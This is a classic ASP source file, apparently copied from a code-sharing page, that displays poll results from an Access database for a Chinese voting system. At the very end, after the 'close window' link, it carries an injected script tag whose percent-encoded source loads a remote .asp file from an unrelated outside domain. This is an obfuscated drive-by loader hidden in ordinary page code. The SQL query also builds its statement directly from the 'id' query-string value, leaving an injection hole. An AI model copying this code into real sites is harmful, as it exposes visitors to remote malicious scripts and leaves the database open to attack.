📄 prevpoll.asp
字号:
<%
dim SQL, votes
'创建 connection
set cn = server.CreateObject ("ADODB.Connection")
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.MapPath ("fpdb/poll.mdb")
'选择投票主题的相关信息...
SQL = "SELECT * FROM title, vote WHERE title.id = " & Request.QueryString("id") & " AND title.id = vote.poll_id"
set rs = cn.execute(sql)
votes = rs("votes") '投票总数
%>
<html>
<head>
<title>:::: 投票系统 ::::</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="vote.css" type="text/css">
</head>
<body text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" bgcolor="#FFFFFF">
<div align="center">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td bgcolor="#009999" class="bldtxtvB8">四维投票系统</td>
</tr>
<tr>
<td bgcolor="#99CCFF" class="bldtxtvB8"><%=rs("title")%></td>
</tr>
<tr>
<td bgcolor="#F0F5EF" class="nortxtv8">
<%
Dim b, c
do
b = Clng(rs("no_votes"))
'如果没有人投票 ....
if b = "0" then
%>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="nortxtv8">
<tr>
<td width="30%"><%=rs("answer")%></td>
<td width="70%"><font color="0000FF">0%(0)</font></td>
</tr>
<tr>
<td colspan="2"><font color="0000FF">     没有投票.</font></td>
</tr>
</table>
<%
else
'如果有投票...
c = Clng(100 / rs("votes") * b) '计算百分比
%>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="nortxtv8">
<tr>
<td width="70%"><%=rs("answer")%></td>
<td width="30%" align="right"><font color="0000FF"><%= c & "%" & " (" & rs("no_votes") & ")" %></font></td>
</tr>
<tr>
<td colspan="2"><img src="img/vote.gif" height="15" width="<%= 4*c %>" alt="<%=rs("no_votes")%>"></td>
</tr>
</table>
<%
end if
%> <%
rs.movenext
loop while not rs.eof
%> <br />
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="nortxtv8">
<tr>
<td>All voters: <font color="red"><b><%=votes%></b></font></td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<a href="javascript:window.close();" class="nortxtv8"><font color="#0000FF">关闭窗口</font></a><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -